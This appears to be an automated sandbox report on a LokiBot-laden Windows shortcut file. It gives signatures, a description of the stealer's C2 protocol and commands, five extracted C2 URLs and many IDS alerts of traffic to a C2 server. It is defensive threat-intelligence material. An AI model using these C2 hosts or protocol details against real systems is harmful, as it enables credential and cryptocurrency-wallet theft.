Windows Analysis Report
Comprobante.lnk.lnk

Overview

General Information

Sample name: Comprobante.lnk.lnk
Analysis ID: 1524797
MD5: 8c19af87f9129a49e35158f93815eb7f
SHA1: 9a6c4b22c2e5bf7f039eb2ad20d0822c0e913d14
SHA256: 245f1f3463841248c78c4917dc1a846419f92d957132fabf0b4ee4501dcb6198
Tags: lnkuser-abuse_ch
Infos:

Detection

Lokibot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Lokibot
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Drops PE files with a suspicious file extension
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
PE file has nameless sections
Powershell drops PE file
Sigma detected: PowerShell DownloadFile
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows shortcut file (LNK) contains suspicious command line arguments
Yara detected aPLib compressed binary
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Loki Password Stealer (PWS), LokiBot "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2
  • SWEED
  • The Gorgon Group
  • Cobalt
 https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php"]}
Multi AV Scanner detection for submitted file
Source: Comprobante.lnk.lnk ReversingLabs: Detection: 42%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\Desktop\screens.pif Joe Sandbox ML: detected
Machine Learning detection for sample
Source: Comprobante.lnk.lnk Joe Sandbox ML: detected
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 5_2_00403D74

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49707 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49707 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49707 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49718 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49718 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49718 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49726 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49727 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49727 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49727 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49726 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49756 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49756 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49756 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49726 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49725 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49726 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49717 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49727 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49725 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49735 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49717 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49756 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49726 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49727 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49735 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49756 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49735 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49744 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49718 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49757 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49744 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49760 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49717 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49718 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49760 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49760 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49753 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49753 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49727
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49767 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49767 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49764 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49764 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49764 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49767 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49726
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49753 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49761 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49749 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49744 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49749 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49756
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49718
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49717 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49735 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49757 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49735 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49757 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49708 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49764 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49761 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49767 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49734 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49720 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49767 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49733 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49761 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49753 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49753 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49744 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49741 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49741 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49741 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49717 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49744 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49764 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49734 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49720 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49720 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49759 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49761 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49761 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49758 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49743 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49733 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49746 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49736 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49757 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49752 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49761
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49708 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49708 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49749 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49734 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.10:49708 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49720 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49733 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49725 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49746 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49735
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49730 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49746 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49723 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49733 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49723 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49733 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49730 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49752 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49752 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49730 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49716 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49716 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49716 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49725 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49752 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49716 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49725 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49716 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49717
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49760 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49741 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49741 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49742 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49719 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49742 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49759 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49760 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49715 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49730 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49752 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49760
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49730 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49734 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49716
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49734 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49746 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49746 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49721 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49721 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49719 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49721 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49719 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49730
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49742 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49746
